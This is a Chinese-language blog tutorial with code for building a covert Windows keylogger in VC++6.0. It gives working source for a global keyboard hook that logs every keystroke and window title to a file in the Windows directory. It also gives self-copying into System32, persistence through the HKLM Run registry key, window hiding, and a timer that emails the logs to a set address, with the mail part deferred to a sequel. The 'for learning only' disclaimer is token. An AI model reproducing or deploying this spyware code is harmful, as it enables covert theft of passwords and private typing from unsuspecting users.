首先我想向大家说明的是:
1、 现在这个软体已经被某些杀毒软件(nod32、瑞星等)偶尔报为病毒了;
2、 本软件仅供学习使用;
3、 软件的很多代码为他人所有,我是直接拿来使用,我并不保留这个软件及代码的任何所有权,大家可以随便转载,但请帮我宣传我的网站www.liublog.com.cn,这也是我写这篇文章的目的,谢谢。
一、工具:VC++6.0 环境:我所用的是WIN XP。
二、基本功能介绍
记录所有按键信息和按键时当前窗口名称并保存为文本文档;
将按键信息发送至指定邮箱中;
软件可自动运行可自动复制一份到其他路径并随系统自动启动。
三、关键步骤:
1、 打开VC++6.0新建一个单一对话框(DIALOG)的MFC程序:KeyBoardRecord,其他都按系统默认完成;
2、 因为要能发送邮件,所以得用到SOCKET类,但这个类以及发送邮件的功能已经有高手给我写好,我直接拿来使用:smtp.cpp,smtp.h,base64.cpp,base64.h.(请在文章结尾处点击下载)所以,我们现在添加这四个文档,选择Project-AddtoProject-Files在弹出的对话框中选择前面提到的四个文件,添加进我们的工程中。
3、 本实例并未用到DLL文件,而是直接使用全局钩子函数:在KeyBoardRecord.CPP文件中添加全局函数:
//键盘钩子函数
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
FILE* out;
SYSTEMTIME sysTm;
::GetLocalTime(&sysTm);
int m_nMonth = sysTm.wMonth;
int m_nDay = sysTm.wDay;
char filename[100];//保存文件名
sprintf(filename,"c://Windows//liublog.com.cn.log");//记录保存的路径和名称,请自行修改
if(nCode<0)
return CallNextHookEx(g_hHook,nCode,wParam,lParam);
if(nCode==HC_ACTION)//HC_ACTION表明lParam指向一消息结构
{
EVENTMSG *pEvt=(EVENTMSG *)lParam;
if(pEvt->message==WM_KEYDOWN)//判断是否是击键消息
{
DWORD dwCount;
char svBuffer[256];
int vKey,nScan;
vKey=LOBYTE(pEvt->paramL);
nScan=HIBYTE(pEvt->paramL);//扫描码
nScan<<=16;
//检查当前窗口焦点是否改变
HWND hFocus=GetActiveWindow();
if(g_hLastFocus!=hFocus)
{//保存窗口标题到文件中
char svTitle[256];
int nCount;
nCount=GetWindowText(hFocus,svTitle,256);
if(nCount>0)
{
out=fopen(filename,"a+");
fprintf(out,"/r/n-----www.liublog.com.cn提示:请不要将本软件用在非法途径上[%s]-----/r/n",svTitle);
fclose(out);
}
g_hLastFocus=hFocus;
}
// Write out key
dwCount=GetKeyNameText(nScan,svBuffer,256);
if(dwCount)//如果所击键在虚拟键表之中
{
if(vKey==VK_SPACE)
{
svBuffer[0]=' ';
svBuffer[1]='/0';
dwCount=1;
}
if(dwCount==1)//如果是普通键则将其对应的ascii码存入文件
{
BYTE kbuf[256];
WORD ch;
int chcount;
GetKeyboardState(kbuf);
chcount=ToAscii(vKey,nScan,kbuf,&ch,0);
/*根据当前的扫描码和键盘信息,将一个虚拟键转换成ASCII字符*/
if(chcount>0)
{
out=fopen(filename,"a+");
fprintf(out,"%c",char(ch));
fclose(out);
}
}
else//如果是Ctrl、Alt之类则直接将其虚拟键名存入文件
{
out=fopen(filename,"a+");
fprintf(out,"[%s]",svBuffer);
fclose(out);
if(vKey==VK_RETURN)//回车
{
out=fopen(filename,"a+");
fprintf(out,"/r/n");
fclose(out);
}
}
}
}
}
return CallNextHookEx(g_hHook,nCode,wParam,lParam);
}
//添加上面函数要用到全局变量:
HHOOK g_hHook = NULL; //全局钩子函数句柄
HWND g_hLastFocus = NULL; //活动窗体句柄
//启动钩子,也就是开始记录,添加在窗体上添加一个按键:IDC_BUTTON_START,双击
void CKeyBoardRecordDlg::OnButtonStart()
{
g_hHook=SetWindowsHookEx(WH_JOURNALRECORD,KeyboardProc,GetModuleHandle(NULL),0);
}
//添加一个停止记录的按钮控件
void CKeyBoardRecordDlg::OnButtonStop()
{
if(g_hHook)
UnhookWindowsHookEx(g_hHook);
}
//到现在键盘记录的功能完成了。
4、 软件自动复制及完成的功能,其实就是软件自我复制一份到指定路径并写入注册表的RUN项内,代码如下:
//添加一个“自动运行”的按钮,并复制一下代码
void CKeyBoardRecordDlg::OnButtonAutorun()
{
CString strSysDir;
CString strFilePath;
CString strNewFilePath;
DWORD size=MAX_PATH;
GetSystemDirectory(strSysDir.GetBuffer(size),size);//获得操作系统安装路径 C://WINDOWS//SYSTEM32
strSysDir.ReleaseBuffer();
GetModuleFileName(NULL,strFilePath.GetBuffer(size),size);
strFilePath.ReleaseBuffer();
strNewFilePath=strSysDir+"//liublog.exe";//复本路径和名称,自行修改
CopyFile(strFilePath,strNewFilePath,TRUE);//自我复制
//以下为写注册表
CRegKey reg;
CString strValueName;
strValueName="liublog";
LPCTSTR Rgspath="Software//Microsoft//Windows//CurrentVersion//Run";
if(reg.Open(HKEY_LOCAL_MACHINE,Rgspath)==ERROR_SUCCESS)
if(reg.SetValue(strNewFilePath,strValueName)==ERROR_SUCCESS)
if(reg.Close()==ERROR_SUCCESS)
// AfxMessageBox("Successful");
// else
// AfxMessageBox("Fault!");
ShowWindow(FALSE);
}
5、 接下来就剩下一些附属的功能:启动自动运行,隐藏程序,查看记录等,这里就不一一叙说了,请下载源码自己浏览。
6、 还需要增加说明的一个函数是软件初始化函数:OnInitDialog()
在这个函数中增加:
m_nCopyNumber = 1;//++
m_bNeedAuth = 0;//++
SetTimer(1,1,NULL);//开机启动定时器
SetTimer(2,60000,NULL);//六秒后自动发送邮件
OnButtonAutorun();//是否开启开机启动
邮件自动发送请看“键盘记录及自动发送VC++实现(下)”
程序下载